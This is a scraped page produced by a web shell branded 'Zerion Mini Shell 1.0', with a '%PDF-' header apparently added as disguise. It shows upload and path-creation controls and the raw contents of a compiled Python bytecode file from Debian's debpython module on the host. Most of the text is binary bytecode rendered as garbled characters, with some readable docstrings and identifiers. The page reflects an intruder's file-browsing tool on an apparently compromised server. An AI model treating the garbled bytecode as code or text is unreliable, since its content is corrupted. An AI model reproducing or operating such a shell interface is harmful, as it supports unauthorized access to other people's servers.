%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core18/current/usr/share/python3/debpython/__pycache__/
Upload File :
Create Path :
Current File : //snap/core18/current/usr/share/python3/debpython/__pycache__/files.cpython-36.pyc

3

Ĥ�[��@s~ddlZddlmZddlmZmZmZddlmZm	Z	ddl
mZeje
�Zddd�Zdd	d
�Zdd�Zd
d�Zdd�ZdS)�N)�walk)�abspath�isfile�join)�Popen�PIPE)�
PUBLIC_DIR_RE�.pyccs�t|�}t|ttf�r>x�|D]}xt|�D]
}|Vq*WqWnZt|�rX|j|�rX|Vn@x>tt|��D].\}}}x"|D]}|j|�rvt||�VqvWqfWdS)z6Generate *.py file names available in given directory.N)	�tuple�
isinstance�list�from_directoryr�endswithrrr)�dname�
extensions�item�fn�root�dirsZ
file_names�r�%/usr/share/python3/debpython/files.pyr
s


r
ccslt|�}td|dtd�}|j�\}}|jdkr<td|��t|d�}x |j�D]}|j|�rP|VqPWdS)z4Generate *.py file names available in given package.z/usr/bin/dpkg -L %sT)�shell�stdoutrzcannot get content of %szutf-8N)	r
rr�communicate�
returncode�	Exception�str�
splitlinesr)Zpackage_namer�processr�stderr�linerrr�from_package.s



r!ccs"x|D]}|j|�r|VqWdS)z4Generate *.py file names that match given directory.N)�
startswith)�filesrrrrr�filter_directory<s

r$ccsdtdd�|D��}tdd�|D��}x:|D]2}tj|�}|r*|jd�}||ksV||kr*|Vq*WdS)z3Generate *.py file names that match given versions.css|]}d|VqdS)z%d.%dNr)�.0�irrr�	<genexpr>Esz filter_public.<locals>.<genexpr>css|]}t|d�VqdS)rN)r)r%r&rrrr'Fs�N)�setr�match�group)r#�versionsZvstrZshared_vstrr�
public_dir�versrrr�
filter_publicCs


r/ccs*t|�}x|D]}|j|�s|VqWdS)z<Removes files with matching extensions from given generator.N)r
r)r#rrrrr�filter_out_extOs

r0�r	)r1�r	)r2)�logging�osr�os.pathrrr�
subprocessrr�	debpythonr�	getLogger�__name__�logr
r!r$r/r0rrrr�<module>s




Zerion Mini Shell 1.0